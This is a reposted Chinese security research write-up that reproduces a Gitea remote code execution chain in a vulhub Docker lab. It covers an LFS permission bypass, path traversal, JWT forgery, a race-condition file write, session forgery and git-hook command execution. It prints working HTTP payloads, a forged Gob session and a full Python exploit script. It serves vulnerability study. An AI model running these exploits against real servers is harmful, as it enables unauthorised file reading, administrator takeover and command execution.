go代码审计

这是一个非常漂亮的漏洞链，很久没见过了。

我用docker来复现并学习这个漏洞，官方提供了docker镜像，vulhub也会上线这个环境。

漏洞一、逻辑错误导致权限绕过辑中

Git LFS是Git为大文件设置的存储容器，我们可以理解为，他将真正的文件存储在git仓库外，而git仓库中只存储了这个文件的索引（一个哈希值）。这样，git objects和.git文件夹下其实是没有这个文件的，这个文件储存在git服务器上。gitea作为一个git服务器，也提供了LFS功能。

在 modules/lfs/server.go 文件中，PostHandler是POST请求的处理函数：

可见，其中间部分包含对权限的检查：

1
2
3

if !authenticate(ctx, repository, rv.Authorization, true) {
    requireAuth(ctx)
}

在没有权限的情况下，仅执行了requireAuth函数：这个函数做了两件事，一是写入WWW-Authenticate头，二是设置状态码为401。也就是说，在没有权限的情况下，并没有停止执行PostHandler函数。

所以，这里存在一处权限绕过漏洞。

漏洞二、目录穿越漏洞

这个权限绕过漏洞导致的后果是，未授权的任意用户都可以为某个项目（后面都以vulhub/repo为例）创建一个Git LFS对象。

这个LFS对象可以通过http://example.com/vulhub/repo.git/info/lfs/objects/[oid]这样的接口来访问，比如下载、写入内容等。其中[oid]是LFS对象的ID，通常来说是一个哈希，但gitea中并没有限制这个ID允许包含的字符，这也是导致第二个漏洞的根本原因。

我们利用第一个漏洞，先发送一个数据包，创建一个Oid为....../../../etc/passwd的LFS对象：

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151

{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}

其中，vulhub/repo是一个公开的项目。

也就是说，这个漏洞的利用是有条件的，第一个条件就是需要有一个公开项目。为什么呢？虽然“创建LFS对象”接口有权限绕过漏洞，但是“读取这个对象所代表的文件”接口没有漏洞，会先检查你是否有权限访问这个LFS对象所在的项目。只有公开项目才有权限读取。

见下图，发送数据包后，虽然返回了401状态码，但实际上这个LFS对象已经创建成功，且其Oid为....../../../etc/passwd。

第二步，就是访问这个对象。访问方法就是GET请求http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth，oid就是刚才指定的，这里要用url编码一下。

见下图，/etc/passwd已被成功读取：

那么，我们来看看为什么读取到了/etc/passwd文件。

代码 modules/lfs/content_store.go ：

可见，meta.Oid被传入transformKey函数，这个函数里，将Oid转换成了key[0:2]/key[2:4]/key[4:]这样的形式，前两个、中间两个字符做为目录名，第四个字符以后的内容作为文件名。

那么，我创建的Oid为....../../../etc/passwd，在经过transformKey函数后就变成了../../../../../etc/passwd，s.BasePath是LFS对象的基础目录，二者拼接后自然就读取到了/etc/passwd文件。

这就是第二个漏洞：目录穿越。

漏洞三、读取配置文件，构造JWT密文

vulhub/repo虽然是一个公开项目，但默认只有读权限。我们需要进一步利用。

我们利用目录穿越漏洞，可以读取到gitea的配置文件。这个文件在$GITEA_CUSTOM/conf/app.ini，$GITEA_CUSTOM是gitea的根目录，默认是/var/lib/gitea/，在vulhub里是/data/gitea。

所以，要从LFS的目录跨越到$GITEA_CUSTOM/conf/app.ini，需要构造出的Oid是....gitea/conf/app.ini（经过转换后就变成了/data/gitea/lfs/../../gitea/conf/app.ini，也就是/data/gitea/conf/app.ini。原漏洞作者给出的POC这一块是有坑的，这个Oid需要根据不同$GITEA_CUSTOM的设置进行调整。）

成功读取到配置文件（仍需先发送POST包创建Oid为....gitea/conf/app.ini的LFS对象）：

配置文件中有很多敏感信息，如数据库账号密码、一些Token等。如果是sqlite数据库，我们甚至能直接下载之。当然，密码加了salt。

Gitea中，LFS的接口是使用JWT认证，其加密密钥就是配置文件中的LFS_JWT_SECRET。所以，这里我们就可以用来构造JWT认证，进而获取LFS完整的读写权限。

我们用python来生成密文：

import jwt
import time
import base64


def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)


jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c')
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)

token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
token = token.decode()

print(token)

其中，jwt_secret是第二个漏洞中读取到的密钥；public_user_id是项目所有者的id，public_repo_id是项目id，这个项目指LFS所在的项目；nbf是指这个密文的开始时间，exp是这个密文的结束时间，只有当前时间处于这两个值中时，这个密文才有效。

漏洞四、利用条件竞争，写入任意文件

现在，我们能构造JWT的密文，即可访问LFS中的写入文件接口，也就是PutHandler。

PUT操作主要是如下代码：

整个过程整理如下：

transformKey(meta.Oid) + .tmp 后缀作为临时文件名
如果目录不存在，则创建目录
将用户传入的内容写入临时文件
如果文件大小和meta.Size不一致，则返回错误（meta.size是第一步中创建LFS时传入的Size参数）
如果文件哈希和meta.Oid不一致，则返回错误
将临时文件重命名为真正的文件名

因为我们需要写入任意文件，所以Oid一定是能够穿越到其他目录的一个恶意字符串，而一个文件的哈希（sha256）却只是一个HEX字符串。所以上面的第5步，一定会失败导致退出，所以不可能执行到第6步。也就是说，我们只能写入一个后缀是“.tmp”的临时文件。

另外，作者用到了defer os.Remove(tmpPath)这个语法。在go语言中，defer代表函数返回时执行的操作，也就是说，不管函数是否返回错误，结束时都会删除临时文件。

所以，我们需要解决的是两个问题：

能够写入一个.tmp为后缀的文件，怎么利用？
如何让这个文件在利用成功之前不被删除？

我们先思考第二个问题。漏洞发现者给出的方法是，利用条件竞争。

因为gitea中是用流式方法来读取数据包，并将读取到的内容写入临时文件，那么我们可以用流式HTTP方法，传入我们需要写入的文件内容，然后挂起HTTP连接。这时候，后端会一直等待我传剩下的字符，在这个时间差内，Put函数是等待在io.Copy那个步骤的，当然也就不会删除临时文件了。

那么，思考第一个问题，.tmp为后缀的临时文件，我们能做什么？

漏洞五、伪造session提升权限

最简单的，我们可以向/etc/cron.d/中写入一个crontab配置文件，然后反弹获取shell。但通常gitea不会运行在root权限，所以我们需要思考其他方法。

gitea使用go-macaron/session这个第三方模块来管理session，默认使用文件作为session存储容器。我们来阅读go-macaron/session源码：

这里面有几个很重要的点：

session文件名为sid[0]/sid[1]/sid
对象被用Gob序列化后存入文件

Gob是Go语言独有的序列化方法。我们可以编写一段Go语言程序，来生成一段Gob编码的session：

package main

import (
    "fmt"
    "encoding/gob"
    "bytes"
    "encoding/hex"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

其中，{"_old_iod": "1", "uid": uid, "uname": "vulhub" }就是session中的数据，uid是管理员id，uname是管理员用户名。编译并执行上述代码，得到一串hex，就是伪造的数据。

原作者给出的POC是他生成好的一段二进制文件，uid和uname不能自定义。

接着，我写了一个简单的Python脚本来进行后续利用（需要Python3.6）：

import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote


logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)

BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11vulhub'
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')


def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)

    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)

    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()

def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''


OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
})
logging.info(response.text)

response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })

这个脚本会将伪造的SESSION数据发送，并等待300秒后才关闭连接。在这300秒中，服务器上将存在一个名为“11vulhub.tmp”的文件，这也是session id。

带上这个session id，即可提升为管理员。

漏洞六、利用HOOK执行任意命令

带上i_like_gitea=11vulhub.tmp这个Cookie，我们即可访问管理员账户。

然后随便找个项目，在设置中配置Git钩子。Git钩子是执行git命令的时候，会被自动执行的一段脚本。比如我这里用的pre-receive钩子，就是在commit之前会执行的脚本。我在其中加入待执行的命令touch /tmp/success：

然后在网页端新建一个文件，点提交。进入docker容器，可见命令被成功执行：

一些思考

整个漏洞链非常流畅，Go Web端的代码审计也非常少见，在传统漏洞越来越少的情况下，这些好思路将给安全研究者带来很多不一样的突破。

不过漏洞作者给出的POC实在是比较烂，基本离开了他自己的环境就不能用了，而且我也不建议用一键化的漏洞利用脚本来复现这个漏洞，原因是这个漏洞的利用涉及到一些不确定量，比如：

gitea的$GITEA_CUSTOM，这个值影响到读取app.ini的那段POC
管理员的用户名和ID，这个可能需要猜。但其实我们也没必要必须伪造管理员的session，我们可以伪造任意一个用户的session，然后进入网站后再找找看看有没有管理员所创建的项目，如果有的话，就可以得知管理员的用户名了。

另外，复现漏洞的时候也遇到过一些坑，比如gitea第一次安装好，如果不重启的话，他的session是存储在内存里的。只有第一次重启后，才会使用文件session，这一点需要注意。

如果目标系统使用的是sqlite做数据库，我们可以直接下载其数据库，并拿到他的密码哈希和另一个随机字符串，利用这两个值其实能直接伪造管理员的cookie（名为gitea_incredible），这一点我就不写了，大家可以自己查看文档。

转自：

https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html

漏洞一、 逻辑错误导致权限绕过辑中